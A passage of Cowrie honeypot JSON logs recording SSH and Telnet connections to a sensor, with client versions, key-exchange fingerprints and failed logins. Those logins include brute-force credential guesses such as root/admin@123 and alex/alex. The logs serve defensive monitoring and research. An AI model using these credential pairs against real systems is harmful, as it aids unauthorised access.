etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:15.596499Z","src_ip":"95.90.13.168","session":"cd9069b33329","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vilma","message":"login attempt [root/vilma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:16.067563Z","src_ip":"95.90.13.168","session":"cd9069b33329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:17.192902Z","src_ip":"95.90.13.168","session":"cd9069b33329","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":34674,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e86eca079d3","protocol":"ssh","message":"New connection: 14.63.196.175:34674 (10.17.0.5:22) [session: 4e86eca079d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:20.506828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:20.511978Z","src_ip":"14.63.196.175","session":"4e86eca079d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:20.715626Z","src_ip":"14.63.196.175","session":"4e86eca079d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:21.561509Z","src_ip":"14.63.196.175","session":"4e86eca079d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:22.769468Z","src_ip":"14.63.196.175","session":"4e86eca079d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":48696,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa1a77e54c9a","protocol":"ssh","message":"New connection: 8.218.166.49:48696 (10.17.0.5:22) [session: aa1a77e54c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:30.016402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:31.301346Z","src_ip":"8.218.166.49","session":"aa1a77e54c9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:31.305344Z","src_ip":"8.218.166.49","session":"aa1a77e54c9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:32.791770Z","src_ip":"8.218.166.49","session":"aa1a77e54c9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:34.981876Z","src_ip":"8.218.166.49","session":"aa1a77e54c9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":42312,"dst_ip":"10.17.0.5","dst_port":22,"session":"27bd176083e9","protocol":"ssh","message":"New connection: 8.218.166.49:42312 (10.17.0.5:22) [session: 27bd176083e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:58.541475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:58.545705Z","src_ip":"8.218.166.49","session":"27bd176083e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":60249,"dst_ip":"10.17.0.5","dst_port":22,"session":"d69d6e0b4979","protocol":"ssh","message":"New connection: 95.90.13.168:60249 (10.17.0.5:22) [session: d69d6e0b4979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:59.097583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:59.102779Z","src_ip":"95.90.13.168","session":"d69d6e0b4979","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:59.214604Z","src_ip":"95.90.13.168","session":"d69d6e0b4979","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nat123","message":"login attempt [root/nat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:59.684861Z","src_ip":"95.90.13.168","session":"d69d6e0b4979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:00.797082Z","src_ip":"95.90.13.168","session":"d69d6e0b4979","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":53676,"dst_ip":"10.17.0.5","dst_port":22,"session":"73a873c0f322","protocol":"ssh","message":"New connection: 8.218.166.49:53676 (10.17.0.5:22) [session: 73a873c0f322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:06.878003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:06.882720Z","src_ip":"8.218.166.49","session":"73a873c0f322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:07.092021Z","src_ip":"8.218.166.49","session":"73a873c0f322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.182.125.142","src_port":53408,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb852623e45d","protocol":"ssh","message":"New connection: 183.182.125.142:53408 (10.17.0.5:22) [session: bb852623e45d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:09.891948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:09.897357Z","src_ip":"183.182.125.142","session":"bb852623e45d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:10.177653Z","src_ip":"183.182.125.142","session":"bb852623e45d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:10.534528Z","src_ip":"183.182.125.142","session":"bb852623e45d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":53688,"dst_ip":"10.17.0.5","dst_port":22,"session":"b38a83dacaf0","protocol":"ssh","message":"New connection: 8.218.166.49:53688 (10.17.0.5:22) [session: b38a83dacaf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:13.248989Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":46560,"dst_ip":"10.17.0.5","dst_port":22,"session":"24d344b7763c","protocol":"ssh","message":"New connection: 182.180.57.212:46560 (10.17.0.5:22) [session: 24d344b7763c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:20.664379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:20.669337Z","src_ip":"182.180.57.212","session":"24d344b7763c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:20.906842Z","src_ip":"182.180.57.212","session":"24d344b7763c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:21.889552Z","src_ip":"182.180.57.212","session":"24d344b7763c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:23.129863Z","src_ip":"182.180.57.212","session":"24d344b7763c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00211882591248,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:23.666662Z","src_ip":"181.115.174.31","session":"078843e72e51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.115.174.31","src_port":59893,"dst_ip":"10.17.0.5","dst_port":23,"session":"63d41b6d4bab","protocol":"telnet","message":"New connection: 181.115.174.31:59893 (10.17.0.5:23) [session: 63d41b6d4bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:24.033099Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":56160,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a5749e9b220","protocol":"ssh","message":"New connection: 8.218.166.49:56160 (10.17.0.5:22) [session: 4a5749e9b220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:24.508643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:24.918728Z","src_ip":"8.218.166.49","session":"4a5749e9b220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:24.922945Z","src_ip":"8.218.166.49","session":"4a5749e9b220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00187730789185,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:26.072750Z","src_ip":"181.115.174.31","session":"4ae0578e5b9f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:27.330394Z","src_ip":"8.218.166.49","session":"4a5749e9b220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.115.174.31","src_port":44095,"dst_ip":"10.17.0.5","dst_port":23,"session":"00bbc9c3ea9d","protocol":"telnet","message":"New connection: 181.115.174.31:44095 (10.17.0.5:23) [session: 00bbc9c3ea9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:27.455557Z"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:31.074433Z","src_ip":"8.218.166.49","session":"4a5749e9b220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":60918,"dst_ip":"10.17.0.5","dst_port":22,"session":"13feeb0018e8","protocol":"ssh","message":"New connection: 95.90.13.168:60918 (10.17.0.5:22) [session: 13feeb0018e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:43.935155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:43.939834Z","src_ip":"95.90.13.168","session":"13feeb0018e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 